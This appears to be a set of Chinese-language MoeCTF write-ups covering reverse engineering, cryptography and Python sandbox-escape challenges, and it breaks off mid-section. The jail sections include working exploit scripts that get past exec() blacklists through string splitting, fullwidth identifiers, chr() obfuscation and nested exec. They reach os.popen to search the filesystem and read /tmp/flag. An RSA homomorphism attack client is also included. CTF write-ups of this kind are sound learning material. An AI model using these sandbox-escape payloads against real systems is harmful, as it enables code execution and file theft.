1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import base64CUSTOM_TABLE = b"Six5tarsPJYouNgLlKEw4Ik1nGABCDFHMOQRTUVWXZbcdefhjmpqvyz0236789+/" STANDARD_TABLE = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" cipher = ("KwC2gtPmKwn2NwTyKwGilvt0KwOiuqTvKw43utP2KwOxgttpKwC2gtPmKwn2lwUi" "KwIxNvtzKwn2lTa5Kw42KTP0KwIiNtt0Kw42NRT3KwM2g4JaKwn3NTarKwIxu5Or" "Kw42NRT3KwOxKwUrKwIxu5OrKw42NRT3KwIxKtP3Kwn3N4PjKwIiK5T0Kw43lRUx" "KwIiNtt0Kw42NRT3Kw42NwOxKwOiKTPzKwKxg5OxKw42g5TpKwDxl4JrKwIxu5Or" "Kw42NRT3KwIxKtP3KwM2g4JaKwC2g4P3KwDxKwOaKw42NwMqKwIxu5OrKw42NRT3" "KwIiN5TzKwKxg5OxKw42g5TpKwDxl4JrKwIiNtt0Kw42NRT3KwOxK4JaKwKxg5Ot" "KwGxlwU5Kwn3N4PjKwIiK5T0KwT3lTPzKwn3N4PjKwIiK5T0KwKxg5MqKwIxu5Or" "Kw42NRT3Kw43lvPjKwIxu5OrKw42NRT3KwM2g4JaKwn3NTarKw42KTPqKwn2lTa5" "Kw42KTP0" ) trans = bytes .maketrans(CUSTOM_TABLE, STANDARD_TABLE) std_b64 = cipher.encode().translate(trans) pad = len (std_b64) % 4 if pad: std_b64 += b'=' * (4 - pad) flag = base64.b64decode(std_b64) print (f"Flag: {flag} " )
将解出来的hex码转译一下
1 E788B1E68595E6ACA7E8A394E590B8E8B8A2E788B1E68A9AE5B7A6E68BACE58FB7E5A4A7E58699E889BEE696AFE5B08FE58699E8BE9FE5B08FE58699E5BDB9E695B0E5AD97E59B9BE5A4A7E58699E5858BE8AFB6E4B88BE58892E7BABFE5B08FE58699E5BDB9E889BEE789B9E7BE8EE58583E5B08FE58699E5A496E4B88BE58892E7BABFE5A4A7E58699E8BEBEE4B88DE6BA9CE695B0E5AD97E99BB6E695B0E5AD97E4B883E5B08FE58699E59CB0E5B08FE58699E889BEE696AFE58FB3E68BACE58FB7
照着中文读出来得到flag
1 moectf{Spe4K_e@$y_W07ds}
Mewtype Flag 由可打印 ASCII 字符组成,因此为每个字符建立初始域:
然后逐条枚举局部三元组:
i % 3 == 0:枚举 a、c,由平方和反推出 b。
i % 3 == 1:枚举 a、c,检查 t[i] - c 是否能被 a 整除并得到可打印的 b。
i % 3 == 2:枚举 a、b,通过立方值表反查 c。
对每条约束做广义弧一致性传播:如果某个字符值无法出现在任何合法三元组中,就从对应域删除。传播后所有 54 个字符的域都会缩小为单值,不需要进一步爆破。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 from functools import reducefrom operator import xorCONSTANTS = ( 10111 , 11290 , 137705 , 13834 , 12017 , 882822 , 2861 , 6952 , 148686 , 9290 , 9962 , 153274 , 13069 , 9595 , 871218 , 9834 , 10851 , 1584472 , 9149 , 5765 , 159511 , 9289 , 5093 , 126222 , 11887 , 4921 , 152566 , 13114 , 6109 , 140607 , 13366 , 9447 , 156018 , 9712 , 11045 , 1795540 , 15852 , 4864 , 1389923 , 10278 , 5369 , 1586542 , 10519 , 5995 , 1281695 , 4298 , 5674 , 963368 , 10232 , 5085 , 880083 , 10095 , 15119 , ) LENGTH = 54 PRINTABLE = range (32 , 127 ) def make_tuples (index ): target = CONSTANTS[index] ^ 90 triples = [] if index % 3 == 0 : for c in PRINTABLE: pair_sum = target - c * c for a in PRINTABLE: b = pair_sum - a if b in PRINTABLE: triples.append((a, b, c)) elif index % 3 == 1 : for c in PRINTABLE: product = target - c for a in PRINTABLE: if product % a == 0 : b = product // a if b in PRINTABLE: triples.append((a, b, c)) else : cubes = {c * c * c: c for c in PRINTABLE} for a in PRINTABLE: for b in PRINTABLE: c = cubes.get(target - a * a - b * b) if c is not None : triples.append((a, b, c)) return triples SCOPES = [(i, i + 1 , (i + 17 ) % LENGTH) for i in range (LENGTH - 1 )] INITIAL_TUPLES = [make_tuples(i) for i in range (LENGTH - 1 )] def propagate (domains, candidates ): while True : changed = False for constraint, scope in enumerate (SCOPES): filtered = [ values for values in candidates[constraint] if all (value in domains[var] for var, value in zip (scope, values)) ] if not filtered: return False if len (filtered) != len (candidates[constraint]): candidates[constraint] = filtered changed = True for offset, var in enumerate (scope): supported = {values[offset] for values in filtered} narrowed = domains[var] & supported if not narrowed: return False if narrowed != domains[var]: domains[var] = narrowed changed = True if not changed: return True def global_bounds_ok (domains ): if not (sum (min (d) for d in domains) <= 5138 <= sum (max (d) for d in domains)): return False if not ( sum (min (d) ** 2 for d in domains) <= 520600 <= sum (max (d) ** 2 for d in domains) ): return False return True def global_checks (values ): return ( sum (values) == 5138 and reduce(xor, values, 0 ) == 26 and sum (value * value for value in values) == 520600 and sum (a * b for a, b in zip (values, values[1 :])) == 467644 ) def search (domains, candidates ): if not propagate(domains, candidates) or not global_bounds_ok(domains): return None unresolved = [i for i, domain in enumerate (domains) if len (domain) > 1 ] if not unresolved: values = [next (iter (domain)) for domain in domains] return values if global_checks(values) else None var = min (unresolved, key=lambda i: len (domains[i])) for value in sorted (domains[var]): next_domains = [set (domain) for domain in domains] next_candidates = [list (options) for options in candidates] next_domains[var] = {value} result = search(next_domains, next_candidates) if result is not None : return result return None def verify (values ): assert len (values) == LENGTH assert global_checks(values) for i, (a_var, b_var, c_var) in enumerate (SCOPES): a, b, c = values[a_var], values[b_var], values[c_var] target = CONSTANTS[i] ^ 90 if i % 3 == 0 : actual = a + b + c * c elif i % 3 == 1 : actual = a * b + c else : actual = a * a + b * b + c * c * c assert actual == target, (i, actual, target) def main (): domains = [set (PRINTABLE) for _ in range (LENGTH)] result = search(domains, [list (options) for options in INITIAL_TUPLES]) if result is None : raise SystemExit("No printable solution found" ) verify(result) print (bytes (result).decode("ascii" )) if __name__ == "__main__" : main()
1 moectf{l@mbd4_c@lcu1us_4r3_h4rd_but_z3_s0lv3r_1s_3asy}
请 fanchai 喝茶 程序的主逻辑位于 0x10A0。首先调用 fgets 读取输入,然后使用strcspn 去除换行符
接着检查输入长度
1 2 3 1113 call strlen1118 cmp rax, 40h111c jne wrong
因此正确输入必须恰好为 0x40 = 64 字节,程序随后使用 rep movsd 复制 16 个双字,说明输入会被解释成
由于程序运行在 x86-64 小端环境中,所以每 4 个输入字节按照小端序 组成一个 uint32_t。
核心循环从 0x11A0 开始,其中最明显的特征是移位和异或组合
程序并未使用 XXTEA 常见的 0x9E3779B9,而是使用DELTA = 0x5F3759DF,每轮开始时执行add edx, 5F3759DFh,一轮处理完 16 个双字后,程序检查
1 2 cmp edx, 58F228D7h jne 11A0h
计算得到0x5F3759DF * 9 mod 2^32 = 0x58F228D7
加密完成后,程序使用 SSE 指令将结果与 .rodata 中的常量异或, 再把所有差异按位或到一起。最终结果为 0 时才输出 Correct!
按照程序实际比较顺序,64 字节目标密文应当拼接为
1 2 3 4 5 6 ciphertext = bytes .fromhex( "dddfeb8458e36b649883773758a5d0c4" "7c08ea8ee5cef399f35aaa60274d9f8d" "f425f48997947759c337f54554999b22" "e8d14a82e5e9fec3e9eae5c400886008" )
正向加密时,程序从 v[0] 更新到 v[15]。解密时需要按照相反顺序, 从 v[15] 更新到 v[0]。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import structMASK = 0xFFFFFFFF DELTA = 0x5F3759DF ROUNDS = 9 KEY = struct.unpack("<4I" , b"CEOM02FTXX62!AET" ) def mx (z, y, total, key_word ): part1 = (z >> 5 ) ^ ((y << 2 ) & MASK) part2 = (y >> 3 ) ^ ((z << 4 ) & MASK) part3 = (total ^ y) + (key_word ^ z) return (((part1 + part2) & MASK) ^ (part3 & MASK)) & MASK def decrypt (ciphertext ): v = list (struct.unpack("<16I" , ciphertext)) total = (DELTA * ROUNDS) & MASK while total: e = (total >> 2 ) & 3 y = v[0 ] for p in range (15 , 0 , -1 ): v[p] = ( v[p] - mx(v[p - 1 ], y, total, KEY[(p & 3 ) ^ e]) ) & MASK y = v[p] v[0 ] = (v[0 ] - mx(v[15 ], y, total, KEY[e])) & MASK total = (total - DELTA) & MASK return struct.pack("<16I" , *v) ciphertext = bytes .fromhex( "dddfeb8458e36b649883773758a5d0c4" "7c08ea8ee5cef399f35aaa60274d9f8d" "f425f48997947759c337f54554999b22" "e8d14a82e5e9fec3e9eae5c400886008" ) print (decrypt(ciphertext).decode())
1 moectf{Tre4t_f4ncha1_W1tH_xxtea_Wh4t_A_g00d_Id3a_HahaHAh4hAH4ha}
现代密码学 moeSign1n 这道题本质上是利用 裸 RSA(Textbook RSA)的乘法同态性 进行攻击:程序使用 pow(m,e,n) 直接加密明文,并且虽然禁止我们直接请求 MoeCTF 2026 的密文,却允许请求其他任意明文的密文。RSA 满足 (E(a)E(b)\equiv E(ab)\pmod n),因此我们先把 bytes_to_long(b"MoeCTF 2026") 得到的整数分解为 (2\times3^2\times13\times151\times236790833\times11188710702937),分别向服务器请求这些因子的 ciphertext,再将得到的 ciphertext 全部相乘,就等价于得到了 MoeCTF 2026 的 ciphertext。最后把这个构造出的密文提交给服务器,服务器使用私钥 (d) 解密后得到 MoeCTF 2026,满足判断条件,于是输出 flag。整个过程不需要破解 RSA、分解 (n),甚至不需要知道 (n),关键就是利用裸 RSA 的乘法同态漏洞 绕过对目标明文的直接加密限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *import recontext.log_level = "info" HOST = "127.0.0.1" PORT = 13837 factors = [ 2 , 3 , 13 , 151 , 236790833 , 11188710702937 , ] io = remote(HOST, PORT) cipher = {} for x in factors: log.info(f"Requesting E({x} )" ) io.recvuntil(b"3. quit." ) io.sendline(b"1" ) io.recvuntil(b"what message(hex form) do u want to encrtpt?" ) hx = x.to_bytes((x.bit_length() + 7 ) // 8 , "big" ).hex () log.info(f"hex({x} ) = {hx} " ) io.sendline(hx.encode()) data = io.recvregex(rb"\d{30,}\r?\n" , timeout=5 ) if not data: log.error("没有收到 ciphertext" ) log.error(repr (io.recvrepeat(1 ))) io.close() exit() m = re.search(rb"(\d{30,})" , data) if not m: log.error(f"无法解析 ciphertext: {data!r} " ) io.close() exit() c = int (m.group(1 )) cipher[x] = c log.success(f"E({x} ) = {c} " ) target_cipher = 1 for x in factors: target_cipher *= cipher[x] target_cipher *= cipher[3 ] log.success("目标 ciphertext 已构造" ) log.info(f"ciphertext = {target_cipher} " ) io.recvuntil(b"3. quit." ) io.sendline(b"2" ) io.recvuntil(b"plz sumbit the ciphertext." ) io.sendline(str (target_cipher).encode()) io.interactive()
1 moectf{0p3n_4_d00r_70_7h3_w0r1d_0f_m0d3rn_cryp706r4phy}
wsl_Sign1n 按照给的教程安装好就行,之前安装的只要保证版本在10.3以上可以直接跑
1 moectf{wow_you_succEssfully_installed_it_103}
密码学入门指北
计算共享密钥:根据 DH 协议,共享密钥 shared_secret = pow(bob_public, alice_private, p)。
提取加密密钥:key = shared_secret % 256。
解密 Flag:由于加密是逐字节异或(XOR),解密同样使用 XOR:plaintext_byte = ciphertext_byte ^ key。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 p = 170141183460469231731687303715884105727 g = 3 bob_public = 101533001028006636636416596392258549313 alice_private = 20260704 ciphertext = [45 , 47 , 37 , 35 , 52 , 38 , 59 , 36 , 40 , 31 , 48 , 50 , 41 , 54 , 33 , 52 , 37 , 31 , 43 , 37 , 57 , 31 , 51 , 40 , 47 , 53 , 44 , 36 , 31 , 51 , 52 , 33 , 57 , 31 , 51 , 37 , 35 , 50 , 37 , 52 , 61 ] shared_secret = pow (bob_public, alice_private, p) key = shared_secret % 256 flag_bytes = bytes ([x ^ key for x in ciphertext]) print (f"Key: {key} " )print (f"Flag: {flag_bytes.decode()} " )
1 moectf{dh_private_key_should_stay_secret}
justXOR 这道题的核心是一个线性同余生成器 $a_{k+1} = (3a_k + 2) \bmod M$,由于迭代次数 $n=10^{25}$ 极大,无法暴力计算,需要通过不动点法将递推转化为等比数列,求得通项公式 $a_k = 2 \cdot 3^k - 1 \pmod M$;同时注意 gen_key 循环 n-1 次返回的是第 $n-1$ 项,因此 key 为 $(2 \cdot 3^{n-1} - 1) \bmod M$,利用 Python 内置的三参数 pow 进行 $O(\log n)$ 模幂运算即可快速求出 key,最后与密文逐字节 XOR 即得 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 from Crypto.Util.number import long_to_bytesM = 2039129633208009090414901212304234091626233923923301042398416489123719065081065776033127561876033127924471 n = 10 **25 key = (2 * pow (3 , n - 1 , M) - 1 ) % M key_bytes = long_to_bytes(key) enc = b'it\x0bM\xfa-\xe3T{\xaa\x0f@\xa2\xf1@\xbd\x86e\x85\x9e\xfcp_o\x8f\xccd\x13\xceW\x13\x14\x11\x055b\xcbk\xa0' flag = bytes ([x ^ y for x, y in zip (enc, key_bytes)]) print (flag)print (f"key length: {len (key_bytes)} , enc length: {len (enc)} " )
1 moectf{a_simple_sequence_problem_for_u}
ez_f3mr4t 分析 q = next_prime(p ^ ((1<<512)-1)) 这一生成方式,由于与 512 位全 1 数异或等价于按位取反,即 q ≈ (2^512 - 1) - p,因此 p + q 极其接近已知常数 M = 2^512 - 1;利用这一近似关系,可以从 M 开始小范围枚举 p + q 的真实值 s,通过判别式 s² - 4n 是否为完全平方数来精确恢复 p 和 q,进而计算私钥完成 RSA 解密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from Cryptodome.Util.number import long_to_bytesimport gmpy2n = 0x308244e7a7de386723c92ba62e35bc22c3ec1b93023e1551408344a4ba31c6203da849aedee0cadf26a3442f9fd652f7d97c053a3f2c298eab6c0f0c2d0b4642a81765ddb00b690425eb212d5520327ac2d53a22922448399fecb54fbc04dbb68fa33fee7666cb9e05278b5f5f1330b3918d3a7def580fcc00f6f596f16eba3b c = 0x13a77e34f09b8a2291cdb397ea0e5cb9e86f691c6565b35c76e6bb6248b67db24315e22fe1dc5321a8820320cdd9b51e3d431459aac2213948f4fbf01c4ce974428d1ed745b2c06f8aa92b22dfede3b7ceb59aa4eb22467129f55b60037a1a2de9b37f25fda3fe40323fccc7c8bbdd4446096b37cef4138337ee9a04c2e3d5fd e = 65537 M = (1 << 512 ) - 1 for delta in range (0 , 1000 ): s = M + delta disc = s * s - 4 * n if disc < 0 : continue sqrt_disc, is_square = gmpy2.isqrt_rem(disc) if is_square == 0 : p = (s + sqrt_disc) // 2 q = (s - sqrt_disc) // 2 assert p * q == n phi = (p - 1 ) * (q - 1 ) d = pow (e, -1 , phi) m = pow (c, d, n) flag = long_to_bytes(m) print (f"delta = {delta} " ) print (f"flag = {flag} " ) break else : for delta in range (1 , 1000 ): s = M - delta disc = s * s - 4 * n if disc < 0 : continue sqrt_disc, is_square = gmpy2.isqrt_rem(disc) if is_square == 0 : p = (s + sqrt_disc) // 2 q = (s - sqrt_disc) // 2 assert p * q == n phi = (p - 1 ) * (q - 1 ) d = pow (e, -1 , phi) m = pow (c, d, n) flag = long_to_bytes(m) print (f"delta = -{delta} " ) print (f"flag = {flag} " ) break
1 moectf{F3rm4t_i5_inde3d_7h3_k1ng_0f_@mat3ur_m4them@t1an5}
ez_fermat 这道题的核心是利用 hint = (a*p+b)^q mod n 泄露 RSA 素因子。因为模 p 时有 a*p+b ≡ b (mod p),所以 hint ≡ b^q (mod p);又由于 n=pq,根据费马小定理可得 b^n=b^(pq) ≡ b^q (mod p),因此 p 一定整除 hint - b^n,从而可以通过 gcd(hint - pow(b,n,n), n) 直接求出 p,再计算 q=n/p。得到 p、q 后求欧拉函数 φ(n)=(p-1)(q-1),计算私钥 d=e^{-1} mod φ(n),最后使用 m=c^d mod n 解密得到 flag。题目源码中正是通过 hint 的特殊构造造成了这一因子泄露。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from math import gcdfrom Crypto.Util.number import long_to_bytes, inversecipher_path = r"...\cipher.txt" data = {} with open (cipher_path, "r" ) as f: for line in f: key, value = line.strip().split(" = " ) data[key] = int (value) n = data["n" ] c = data["c" ] hint = data["hint" ] e = 65537 b = 0x2026 print ("[*] Factoring n..." )p = gcd(hint - pow (b, n, n), n) if p == 1 or p == n: print ("[-] Failed to factor n" ) exit() q = n // p print ("[+] p =" , p)print ("[+] q =" , q)phi = (p - 1 ) * (q - 1 ) d = inverse(e, phi) print ("[+] d =" , d)m = pow (c, d, n) flag = long_to_bytes(m) print ("[+] flag =" , flag.decode())
1 moectf{f3rmat_l1ttl3_th30r3m_l34ks_p_1n_2025}
Python 沙箱逃逸 ez_ban_ja1l 本质就是一个 exec(input()),外面套了 5 个字符串黑名单。
黑名单是子串匹配 ,不是语法级拦截
代码仍然在同一个 Python 解释器里执行
__builtins__ 还在,意味着可以恢复很多能力
黑名单里最危险的是 import,但它只是匹配原始输入字符串。
所以可以用字符串拼接把黑名单词拆开,再在运行时拼回来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import reimport socketHOST = "127.0.0.1" PORT = 9213 def recv_until (sock, marker: bytes ) -> bytes : buf = b"" while marker not in buf: chunk = sock.recv(4096 ) if not chunk: break buf += chunk return buf def solve_captcha (prompt: str ) -> str : parts = re.findall(r"'([^']*)'" , prompt) if "reverse of" in prompt: return parts[0 ][::-1 ] return parts[0 ] + parts[1 ] def send_payload (payload: str ) -> str : s = socket.create_connection((HOST, PORT)) data = recv_until(s, b"continue:" ) prompt = data.decode("utf-8" , "replace" ) s.sendall((solve_captcha(prompt) + "\n" ).encode()) recv_until(s, b"Give me your code:" ) s.sendall((payload + "\n" ).encode()) s.settimeout(1.0 ) out = b"" try : while True : chunk = s.recv(4096 ) if not chunk: break out += chunk except Exception: pass s.close() return out.decode("utf-8" , "replace" ) def main (): search_payload = ( "b=__builtins__;b=b if isinstance(b,dict) else b.__dict__;" "o=b['__im'+'port__']('o'+'s');" "print(o.popen(\"find / -maxdepth 4 -iname '*flag*' 2>/dev/null\").read())" ) out = send_payload(search_payload) candidates = re.findall(r"^/(?:.*/)?flag(?:\\.txt)?$" , out, flags=re.M) m = candidates[0 ] if candidates else None if not m: print (out) raise SystemExit("flag path not found" ) flag_path = m.strip() print (f"[+] flag path: {flag_path} " ) read_payload = f"print(open({flag_path!r} ).read())" out = send_payload(read_payload) print (out) if __name__ == "__main__" : main()
1 moectf{48dede7e-59f5-e36d-095d-9a3e735ee1ee}
3z_ban_jail re 只拦 ASCII 字母和数字,但 Python 允许全角字母作为标识符。 所以可以先用正常 ASCII 写一段 payload,再在发送前把英文字母整体转成全角。
思路:
用全角 exec/open/print/chr/import 绕过正则。
用 []==[] 造出 1,再用左移拼出 2/4/8/...。
先连服务,自动回答机器人拼接题。
拿到 Give me your code: 后,送入全角化 payload。
先枚举 /,再发现 /tmp/flag,最后直接读出 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import reimport socketdef recv_all (sock, timeout=1.5 ): sock.settimeout(timeout) data = b"" while True : try : chunk = sock.recv(4096 ) if not chunk: break data += chunk except Exception: break return data def solve_prompt (text ): matches = re.findall(r"Please enter '([^']+)'\+'([^']+)'" , text) if not matches: return None left, right = matches[-1 ] return left + right def fw (s ): lower = "" .join(chr (0xFF41 + i) for i in range (26 )) upper = "" .join(chr (0xFF21 + i) for i in range (26 )) table = str .maketrans( "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" , lower + upper, ) return s.translate(table) PAYLOAD_ASCII = ( "a=[]==[];b=a<<a;c=b<<a;d=c<<a;e=d<<a;f=e<<a;g=f<<a;" "o=__import__(chr(g+f+d+c+b+a)+chr(g+f+e+b+a));" "p=chr(f+d+c+b+a)+chr(g+f+e+c)+chr(g+f+d+c+a)+chr(g+f+e)+chr(f+d+c+b+a)+chr(g+f+c+b)+chr(g+f+d+c)+chr(g+f+a)+chr(g+f+c+b+a);" "print(open(p).read())" ) def main (): s = socket.create_connection(("127.0.0.1" , 61428 )) s.sendall(b"GET / HTTP/1.1\r\nHost: 127.0.0.1:61428\r\nConnection: close\r\n\r\n" ) text = "" for _ in range (40 ): data = recv_all(s) text = data.decode("utf-8" , "ignore" ) print (text, end="" ) ans = solve_prompt(text) if not ans: break print (f"\n[answer] {ans} " ) s.sendall((ans + "\n" ).encode()) if "Give me your code:" in text: payload = fw(PAYLOAD_ASCII) print (f"\n[payload] {payload} " ) s.sendall((payload + "\n" ).encode("utf-8" )) data = recv_all(s, timeout=2.0 ) print (data.decode("utf-8" , "ignore" ), end="" ) if __name__ == "__main__" : main()
1 moectf{3f0a05c9-445b-5c6f-86da-52ee05b56f20}
e2_ban_jail 只检查“外层输入”,但最后直接 exec(code),所以只要先拼出一段不含黑名单字符的 Python,再让这段 Python 自己去执行真正的 payload 就行。
绕过思路:
外层输入里不能出现 p y j a i l 0-9
但可以用 exec、chr、ord、True
把 p/y/j/a/i/l 逐个替换成 chr(...) 表达式
外层 exec 再执行内层代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import reimport socketimport timeHOST = "127.0.0.1" PORT = 20797 TARGET = 'print(open("/tmp/flag").read())' FORBIDDEN = { "p" : "chr(ord('o')+True)" , "y" : "chr(ord('x')+True)" , "j" : "chr(ord('k')-True)" , "a" : "chr(ord('b')-True)" , "i" : "chr(ord('h')+True)" , "l" : "chr(ord('m')-True)" , } def make_payload (code: str ) -> str : parts = [] for ch in code: parts.append(FORBIDDEN.get(ch, repr (ch))) return "exec(" + "+" .join(parts) + ")" def recv_some (sock: socket.socket, timeout: float = 1.0 ) -> str : sock.setblocking(False ) end = time.time() + timeout data = bytearray () while time.time() < end: try : chunk = sock.recv(8192 ) except BlockingIOError: time.sleep(0.03 ) continue if not chunk: break data.extend(chunk) end = time.time() + 0.2 return data.decode(errors="replace" ) def answer_robot (sock: socket.socket, banner: str ) -> str : m = re.search(r"Please enter '([^']+)'\+'([^']+)'.*?to continue:" , banner, re.S) if not m: return banner sock.sendall((m.group(1 ) + m.group(2 ) + "\n" ).encode()) return banner + recv_some(sock, 1.0 ) def main () -> None : payload = make_payload(TARGET) with socket.create_connection((HOST, PORT), timeout=3 ) as sock: out = recv_some(sock, 1.5 ) for _ in range (10 ): if "Give me your code:" in out: break new_out = answer_robot(sock, out) if new_out == out: out += recv_some(sock, 1.0 ) else : out = new_out sock.sendall((payload + "\n" ).encode()) out += recv_some(sock, 3.0 ) m = re.search(r"moectf\{[^}]+\}" , out) print (m.group(0 ) if m else out) if __name__ == "__main__" : main()
1 moectf{6c3272c5-39bc-948b-1e32 -aa5eb4c4bb72}
equals 只要构造出一个满足 字符 ASCII 和 == 长度平方 的字符串,就能任意 exec。
利用题目自带的 solve():
1 2 3 4 5 6 7 8 9 10 11 12 def solve (cmd:str ,base:str ) -> str : cmd += '#' l = len (cmd) s = sum (ord (c) for c in cmd) score = ord (base) count = 0 while l ** 2 < s: l += 1 s += score count += 1 tail = chr (ord (base) - (s - l * l)) return cmd + (count - 1 ) * base + tail
它会在你写好的代码后面补 # 和填充字符,让等式成立。# 之后全是注释,所以不影响执行。
直接读 flag 的 payload:
1 print (open ('/tmp/flag' ).read())
把它喂给 solve(..., '0'),即可得到满足条件的输入。最终执行时会打印 /tmp/flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import argparseimport reimport socketimport sysdef solve (cmd: str , base: str = "0" ) -> str : cmd += "#" l = len (cmd) s = sum (ord (c) for c in cmd) score = ord (base) count = 0 while l * l < s: l += 1 s += score count += 1 tail = chr (ord (base) - (s - l * l)) return cmd + (count - 1 ) * base + tail def recv_some (sock: socket.socket ) -> str : data = sock.recv(4096 ) if not data: return "" return data.decode("utf-8" , "replace" ) def main () -> int : ap = argparse.ArgumentParser() ap.add_argument("--host" , default="127.0.0.1" ) ap.add_argument("--port" , type =int , default=16692 ) args = ap.parse_args() payload = solve("print(open('/tmp/flag').read())" , "0" ) captcha_re = re.compile (r"Please enter '([^']*)'\+'([^']*)'=\?" ) flag_re = re.compile (r"moectf\{[^}]+\}" ) with socket.create_connection((args.host, args.port), timeout=10 ) as sock: sock.settimeout(2 ) buf = "" while True : chunk = recv_some(sock) if not chunk: break buf += chunk sys.stdout.write(chunk) sys.stdout.flush() if m := flag_re.search(buf): print () print (m.group(0 )) return 0 if m := captcha_re.search(buf): ans = m.group(1 ) + m.group(2 ) + "\n" sock.sendall(ans.encode()) buf = "" continue if "Give me your code:" in buf: sock.sendall((payload + "\n" ).encode()) buf = "" return 0 if __name__ == "__main__" : raise SystemExit(main())
1 moectf{3c4b8dde-5438 -b856-0b73-a6cd58a5c394}
ez_b4n_jail 核心逻辑如下
1 2 3 4 5 6 7 8 9 10 11 code = base64.b64decode(user_input).decode('ascii' ) tree = ast.parse(code) visitor = RestrictedNodeVisitor() visitor.visit(tree) for word in blacklist: if word in code: print ('Hacker!' ) return exec (code)
AST 检查只禁止了visit_Import和visit_ImportFrom
也就是不能直接写
1 2 import osfrom os import system
后面还有关键词黑名单
1 ['os' ,'exec' ,'eval' ,'open' ,'file' ,'breakpoint' ,'sys' ,'help' ]
这个黑名单是直接在源码字符串中做子串匹配,因此只要源码里不连续出现这些敏感词,就可以绕过。
目标是读取 /tmp/flag。虽然源码里不能出现 open,但 Python 的内建对象里本来就有 open,可以用 chr() 动态拼出属性名
1 chr (111 )+chr (112 )+chr (101 )+chr (110 )
它运行时等价于
远端环境中 builtins 是 module,所以使用 getattr 获取内建函数
1 print (getattr (**builtins**,chr (111 )+chr (112 )+chr (101 )+chr (110 ))('/tmp/flag' ).read())
这段源码中没有出现黑名单里的 open 字符串,也没有 import 语句,因此可以通过检查。
最终发送给程序前还要 base64
1 cHJpbnQoZ2V0YXR0cihfX2J1aWx0aW5zX18sY2hyKDExMSkrY2hyKDExMikrY2hyKDEwMSkrY2hyKDExMCkpKCcvdG1wL2ZsYWcnKS5yZWFkKCkp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import base64import reimport socketimport sysimport timeHOST = "127.0.0.1" PORT = 15058 PAYLOAD = ( "print(getattr(__builtins__,chr(111)+chr(112)+chr(101)+chr(110))" "('/tmp/flag').read())" ) def recv_until (sock, predicate, timeout=8.0 ): deadline = time.time() + timeout data = b"" while time.time() < deadline: try : chunk = sock.recv(4096 ) except socket.timeout: continue if not chunk: break data += chunk text = data.decode("utf-8" , "replace" ) if predicate(text): return text return data.decode("utf-8" , "replace" ) def main (): host = sys.argv[1 ] if len (sys.argv) > 1 else HOST port = int (sys.argv[2 ]) if len (sys.argv) > 2 else PORT with socket.create_connection((host, port), timeout=5 ) as sock: sock.settimeout(0.5 ) banner = recv_until(sock, lambda s: "continue:" in s) robot = re.search(r"'([^']+)'\+'([^']+)'\s*=\?" , banner) if robot: answer = robot.group(1 ) + robot.group(2 ) sock.sendall((answer + "\n" ).encode()) recv_until(sock, lambda s: "base64 encoded:" in s) encoded = base64.b64encode(PAYLOAD.encode("ascii" )).decode("ascii" ) sock.sendall((encoded + "\n" ).encode()) output = recv_until(sock, lambda s: re.search(r"[A-Za-z0-9_]*ctf\{[^}]+\}" , s, re.I), timeout=8.0 ) flag = re.search(r"[A-Za-z0-9_]*ctf\{[^}]+\}" , output, re.I) if flag: print (flag.group(0 )) else : print (output) if __name__ == "__main__" : main()
1 moectf{a68dbfd8-56c5-c5c2-1193 -1a1135db3959}
only_open chall.py 只给了 open,并且禁了 _、.、\\
1 2 3 4 5 safe_globals = { 'open' : open , '__builtins__' : {} } blacklist = ['_' ,'.' ,'\\' ]
所以常规的 open('/tmp/flag').read() 直接没法写,因为点号被拦了。
